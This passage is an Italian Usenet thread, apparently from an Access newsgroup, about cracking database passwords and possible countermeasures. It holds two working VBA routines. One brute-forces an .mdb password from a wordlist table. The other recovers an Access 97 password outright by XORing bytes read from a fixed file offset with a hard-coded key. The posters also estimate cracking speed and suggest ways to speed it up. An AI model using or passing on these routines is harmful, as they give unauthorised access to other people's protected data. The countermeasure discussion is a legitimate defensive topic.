che, includendo numeri e lettere dovrebbe portare a combinazioni possibili.
Ho testato il mio ciclo su 5.000 record e (pur non essendo la mia macchina
una
bomba)
ha trovato l'ultimo valore in 24 secondi
Su 10.000 record in 45 secondi
Supponendo quindi che ogni secondo Access scorra 223 record , ne conviene
che puň controllare:
         1 ora =     802.800 psw
       10 ore =   8.028.000 psw
       24 ore = 19.267.200 psw
Considerando poi che si puň ottimizzare la cosa (prima le pws di lunghezza
2, 3, ecc, usando un dizionario, copiare il db e farlo craccare da piů
macchine con tabelle ridotte ecc.) e soprattutto che gli utenti non
metteranno mai password del tipo az_!pluk@11 credo che in una giornata o
poco piů MEDIAMENTE, si riesce a sgamarla.
Che fare allora???
La prima soluzione č ovviamente quella di chiedere all'utente di mettere una
psw lunga, di almeno 10 caratteri possibilmente alfanumerici (se con
caratteri speciali č meglio). Ma poi???
Una soluzione ideale sarebbe questa, ma non so se č tecnicamente possibile.
Se Il BE, ogni volta che si prova l'accesso potesse registrare un valore in
una variabile public (che si scarica ad ogni accesso effettivo) si potrebbe
dire al BE che una volta arrivato questo valore a 10 (ad esempio) cancelli
il contenuto di tutte le tabelle impedendo cosě di accedere ai dati.
Esiste qualcosa del genere, un "evento accesso fallito" a cui ci si puň
appoggiare????
Ciao a tutti.
Ecco la routine
Public Function craccapassword()
' Il db craccante conserva il testo da provare in una tabella chiamata
TABELLA1   con un campo chiamato Stringa
On Error GoTo Err_Psw
Dim dbs As DAO.Database
Dim Path As String
Dim StrConn As String
Dim Fine As String
Path = "C:\pippo.mdb"
Dim pass As String
    Dim rst As DAO.Recordset
    Set rst = CurrentDb.OpenRecordset("Tabella1")
    rst.MoveFirst
    Do Until Fine = "Trovata"
Continua:
        pass = rst.Fields("Stringa").Value
        For i = 0 To rst.Fields.Count - 1  'per tutti i campi della tabella
            StrConn = ";DATABASE=" & Path & " ;PWD=" & pass
            Set dbs = DBEngine(0).OpenDatabase("", False, False, StrConn)
            MsgBox ("LA password č: " & pass)
            Fine = "Trovata"
            GoTo Exit_Function
        Next i
    Loop
Err_Psw:
   If Err.Number = 3031 Then
    rst.MoveNext
    Resume Continua
End If
Exit_Function:
    Exit Function
End Function


title: craccare un Db e contromisure

author: AEOM

text:
"marco" <
pl...@pippo.it
> ha scritto nel messaggio
news:d0p3b.271655$lK4.8...@twister1.libero.it...

Ciao hacker!
senza il casino che hai descritto se per caso non ti ricordi la psw del tuo
db usa questa e risparmia il tempo dell'attacco brutale da te descritto
Public Function StPasswordOfStDatabase(stDatabase As String) As String
    Dim hFile As Integer
    Dim ich As Integer
    Dim stBuffer As String
    Dim rgbytRaw() As Byte
    Dim rgbytPassword() As Byte
    Dim rgbytNoPassword() As Byte
    ' Create the byte array with the 20 bytes that are present when there
    ' is no database password
rgbytNoPassword = ChrB(134) & ChrB(251) & ChrB(236) & ChrB(55) & ChrB(93) &
_
                                ChrB(68) & ChrB(156) & ChrB(250) & ChrB(198)
& ChrB(94) & _
                                ChrB(40) & ChrB(230) & ChrB(19) & ChrB(182)
& ChrB(138) & _
                                ChrB(96) & ChrB(84) & ChrB(148) & ChrB(123)
& ChrB(54)
    ' Grab the 20 bytes from the real file whose password
    ' we are supposed to retrieve
    hFile = FreeFile
    Open stDatabase For Binary As #hFile
    Seek #hFile, 66 + 1
    rgbytRaw = InputB(20, #hFile)
    Close #hFile
    ' Enough prep, lets get the password now.
    ReDim rgbytPassword(0 To 19)
    For ich = 0 To 19
        rgbytPassword(ich) = rgbytRaw(ich) Xor rgbytNoPassword(ich)
    Next ich
    ' Add a trailing Null so one will always be found, even if the password
    ' characters. Then grab up to the first null we find and return the
'Password
    stBuffer = StrConv(rgbytPassword, vbUnicode) & vbNullChar
    StPasswordOfStDatabase = Left$(stBuffer, InStr(1, stBuffer, vbNullChar,
vbBinaryCompare) - 1)
End Function
Ciao, AEOM


title: craccare un Db e contromisure

author: Antonio Biso

text:
"AEOM" <in...@FUCK-LAMER.com> ha scritto nel messaggio
news:Omp3b.10388$d66.2...@news2.tin.it...
>
>
> Ciao, AEOM
Magari potevi cuttare qualcosina no?
Antonio